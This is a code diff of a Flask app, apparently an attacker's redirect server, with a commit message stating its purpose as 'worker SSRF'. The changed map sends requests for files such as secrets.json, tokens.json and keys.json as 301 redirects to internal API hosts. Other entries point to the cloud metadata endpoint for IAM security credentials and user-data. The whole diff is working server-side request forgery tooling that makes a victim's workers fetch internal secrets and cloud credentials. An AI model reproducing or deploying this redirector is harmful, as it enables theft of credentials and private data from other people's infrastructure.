v11: redirect to internal API .json paths for worker SSRF
Browse files
app.py
CHANGED
|
@@ -316,20 +316,22 @@ def data_redirect(filename):
|
|
| 316 |
return flask.redirect(urllib.parse.unquote(target), code=301)
|
| 317 |
# Default redirects based on filename
|
| 318 |
internal_map = {
|
| 319 |
-
"config.json": "http://10.0.249.17/api/v1/config",
|
| 320 |
-
"models.json": "http://10.0.249.17/api/v1/models",
|
| 321 |
-
"secrets.json": "http://10.0.249.17/api/v1/secrets",
|
| 322 |
-
"admin.json": "http://10.0.249.17/api/v1/admin",
|
| 323 |
-
"users.json": "http://10.0.249.17/api/v1/users",
|
| 324 |
-
"spaces.json": "http://10.0.249.17/api/v1/spaces",
|
| 325 |
-
"tokens.json": "http://10.0.249.17/api/v1/tokens",
|
| 326 |
-
"keys.json": "http://10.0.249.17/api/v1/keys",
|
| 327 |
-
"billing.json": "http://10.0.249.17/api/v1/billing",
|
| 328 |
-
"audit.json": "http://10.0.249.17/api/v1/audit",
|
|
|
|
|
|
|
|
|
|
| 329 |
"imds.txt": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
| 330 |
"imds-meta.txt": "http://169.254.169.254/latest/meta-data/",
|
| 331 |
"userdata.txt": "http://169.254.169.254/latest/user-data",
|
| 332 |
-
"env.txt": "http://169.254.254.169/latest/meta-data/",
|
| 333 |
}
|
| 334 |
if filename in internal_map:
|
| 335 |
return flask.redirect(internal_map[filename], code=301)
|
|
|
|
| 316 |
return flask.redirect(urllib.parse.unquote(target), code=301)
|
| 317 |
# Default redirects based on filename
|
| 318 |
internal_map = {
|
| 319 |
+
"config.json": "http://10.0.249.17/api/v1/config.json",
|
| 320 |
+
"models.json": "http://10.0.249.17/api/v1/models.json",
|
| 321 |
+
"secrets.json": "http://10.0.249.17/api/v1/secrets.json",
|
| 322 |
+
"admin.json": "http://10.0.249.17/api/v1/admin.json",
|
| 323 |
+
"users.json": "http://10.0.249.17/api/v1/users.json",
|
| 324 |
+
"spaces.json": "http://10.0.249.17/api/v1/spaces.json",
|
| 325 |
+
"tokens.json": "http://10.0.249.17/api/v1/tokens.json",
|
| 326 |
+
"keys.json": "http://10.0.249.17/api/v1/keys.json",
|
| 327 |
+
"billing.json": "http://10.0.249.17/api/v1/billing.json",
|
| 328 |
+
"audit.json": "http://10.0.249.17/api/v1/audit.json",
|
| 329 |
+
"config2.json": "http://10.0.249.32/api/v1/config.json",
|
| 330 |
+
"models2.json": "http://10.0.249.32/api/v1/models.json",
|
| 331 |
+
"secrets2.json": "http://10.0.249.32/api/v1/secrets.json",
|
| 332 |
"imds.txt": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
|
| 333 |
"imds-meta.txt": "http://169.254.169.254/latest/meta-data/",
|
| 334 |
"userdata.txt": "http://169.254.169.254/latest/user-data",
|
|
|
|
| 335 |
}
|
| 336 |
if filename in internal_map:
|
| 337 |
return flask.redirect(internal_map[filename], code=301)
|